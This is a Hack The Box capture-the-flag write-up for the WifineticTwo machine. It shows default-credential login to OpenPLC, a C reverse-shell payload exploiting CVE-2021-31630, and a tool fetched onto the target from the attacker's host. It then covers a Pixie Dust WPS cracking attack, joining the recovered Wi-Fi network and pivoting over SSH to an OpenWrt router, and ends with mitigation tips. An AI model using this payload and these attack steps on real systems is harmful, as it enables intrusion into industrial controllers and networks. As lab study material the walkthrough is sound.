WifineticTwo

Hey, I was so glad that this is my first time to pwned a medium box. I am looking forward to pwn more medium boxes, coz right now I am only capable of solving some of the easy boxes.

Platform: Hack The Box

Category/Tags: Linux, Remote Code Execution, CVE, Wi-Fi, Pivoting

Difficulty: Medium

Recon

To start the lab, just connect to the VPN provided by HTB and add the machine’s IP address to /etc/hosts.

As usual, I do an nmap scan.

nmap -sC -sV <MACHINE_IP> -oN results.nmap

nmap results

• Open ports

  • Port 8080 - http-proxy (somewhat proxied a web application/server)

  • Port 22 - ssh

There is no port 80, so I headed to port 80, and it redirected me to the login page.

OpenPLC login page

OpenPLC is an open-source Programmable Logic Controller that is based on an easy to use software. It is the first fully functional standardized open source PLC, both in software and in hardware. The OpenPLC project was created in accordance with the IEC 61131-3 standard, which defines the basic software architecture and programming languages for PLCs. From Autonomy.

It is an OpenPLC web server. In some cases like this, I'll search for the default credentials. After that, if we are not successful with the default credentials, I am going to explore more of the system. But lucky enough, I found out that the default credentials on an OpenPLC webserver are openplc:openplc, and it works.

OpenPLC dashboard

In the hardware section, there is a code editor that can be used to run the program and that performs input/output in a hardware. I guessed that this is vulnerable to Remote Code Execution.

OpenPLC hardware

Foothold

I've searched for a known exploit for this web server and I found interesting vulnerability, CVE-2021-31630 for OpenPLC.

Command Injection in Open PLC Webserver v3 allows remote attackers to execute arbitrary code via the "Hardware Layer Code Box" component on the "/hardware" page of the application. From NIST NVD.

Set up a netcat listener,

nc -lnvp 1234

I based my exploit code on this PoC of the said CVE, PoC - Authenticated Remote Code Execution on OpenPLC_V3 WebServer. Insert the reverse shell payload into the updateCustomOut() function, and then hit save and run the program.

void updateCustomOut()
{
    int port = 1234; 
    char ip_addr[] = <MACHINE_IP>;
    struct sockaddr_in revsockaddr; 
    int sockt = socket (AF_INET, SOCK_STREAM, 0); 
    revsockaddr.sin_family= AF_INET; 
    revsockaddr.sin_port = htons (port); 
    revsockaddr.sin_addr.s_addr= inet_addr(ip_addr); 
    connect(sockt, (struct sockaddr *) &revsockaddr, sizeof(revsockaddr)); 
    dup2(sockt, 0); 
    dup2(sockt, 1); 
    dup2(sockt, 2); 
    char * const argv[] = {"/bin/bash", NULL}; 
    execve("/bin/bash", argv, NULL); 
    return 0;
}

We get the root shell!

root shell

Pivot

Before we proceed, Let's upgrade the shell into interactive shell.

python3 -c 'import pty; pty.spawn("/bin/bash")'

#hit Ctrl+Z
stty raw -echo; fg 
export TERM=xterm256-color
stty rows 38 columns 116

This is not the typical privilege escalation because I am already logged in as root, so I guess we need to pivot to another host that can give us the root flag.

From the machine name itself, WifineticTwo, it appears that the machine is somewhat related to Wi-Fi vulnerabilities. So, I decided to list all the network interfaces on this machine.

ip a

I saw that this machine has a wireless network interface and is in a down state.

network interfaces

I thought that this was the way to get the root flag. For now, we need to make this wlan0 up and active. First, we need to know the password for the Wi-Fi. In the forum, they gave a hint that we could crack the Wi-Fi password using the Pixie Dust Attack.

Wi-Fi Protected Setup (WPS) was introduced in 2006 for home users who wanted to connect to their home network without the trouble of remembering complex passwords for Wi-Fi. It used an eight-digit pin to authenticate a client on the network; a pixie dust attack is a way of brute-forcing the eight-digit pin. This attack allows the recovery of the pin within minutes if the router is vulnerable, whereas a simple brute force would take hours. In this recipe, we will learn how to perform a pixie dust attack. From Packt.

I saw HackTricks articles about Wi-Fi Pentesting. I tried to use Reaver and Bully, but I always get a library or package error when running them on the remote machine. I searched for alternative tools, and I found OneShot-C that performs Pixie Dust Attack written in C.

I clone the repository and compile it into executable file,

#clone the repo
git clone https://github.com/nikita-yfh/OneShot-C.git

#change directory
cd OneShot-C

#compile
make

To open a web server for transferring file,

python3 -m http.server 8000

Download it on remote machine,

curl -O http://<YOUR_IP>:8000/oneshot

Make the file executable,

chmod +x

Specify the -i to wlan0 interface and add the flag -K to run pixie dust attack, and select 1 as target

./oneshot -i wlan0 -K

And, we got the SSID of plcrouter and password (WPA-PSK).

oneshot results

After that, we now need to connect to wlan0. Again, in the forum, they drop the article, Connecting to WiFi network using systemd and wpa-supplicant. This is how we connect to the wireless interface.

Go to the /etc/wpa_supplicant directory, make the configuration file wpa_supplicant-wlan0.conf, and insert these lines. This file sets some of the properties of the Wi-Fi network, including the SSID and password to connect to,

ctrl_interface=/var/run/wpa_supplicant
ctrl_interface_group=0
update_config=1

network={
  ssid="plcrouter"
  psk="NowWeDo.....123!"
  key_mgmt=WPA-PSK
  proto=WPA2
  pairwise=CCMP TKIP
  group=CCMP TKIP
  scan_ssid=1
}

Next, go to /etc/systemd/network/ directory, and make a configuration file 25-wlan.network and insert these lines.

[Match]
Name=wlan0

[Network]
DHCP=ipv4

Then, enable wpa_service to wlan0 interface, and restart the ff service: systemd-networkd and wpa_supplicant.

systemctl enable [email protected]
systemctl restart systemd-networkd.service
systemctl restart [email protected]

Again, check the status,

ip a

The wireless interface now is up and active, and we found that the wireless interface wlan0 has network of 192.168.1.34/24

wlan0 status

So, I tried to ping sweep the addresses 192.168.1.1-254 to see if there is an active host that runs SSH. I created a bash script,

#!/bin/bash

start_ip="192.168.1.1"
end_ip="192.168.1.254"

ping_sweep() {
    local ip=$1
    ping -c 1 -W 1 $ip > /dev/null 2>&1
    if [ $? -eq 0 ]; then
        nc -zv $ip 22 >/dev/null 2>&1
        if [ $? -eq 0 ]; then
            echo "SSH server is running on $ip"
        fi
    fi
}

for ((i=1; i<=254; i++)); do
    ip="${start_ip%.*}.$i"
    ping_sweep $ip &
done

wait

I run it, and it says that there is an SSH running on host 192.168.1.1

ping sweep

I connect to that SSH server,

ssh [email protected]

Gotcha! We gain root privileges, this server does not require a password, and it looks like the Wi-Fi device is using OpenWrt.

The OpenWrt Project is a Linux operating system targeting embedded devices. Instead of trying to create a single, static firmware, OpenWrt provides a fully writable filesystem with package management. This frees you from the application selection and configuration provided by the vendor and allows you to customize the device through the use of packages to suit any application. From OpenWrt.

OpenWrt shell

Mitigation

• If you are using an outdated OpenPLC, patch and update it to a newer version

• Disable WPS to prevent Pixie Dust Attack; refer to this: https://medium.com/swlh/my-worst-nightmare-on-discovering-a-wi-fi-wps-vulnerability-on-my-home-router-45330c5444bc

• Secure and configure the SSH server with a password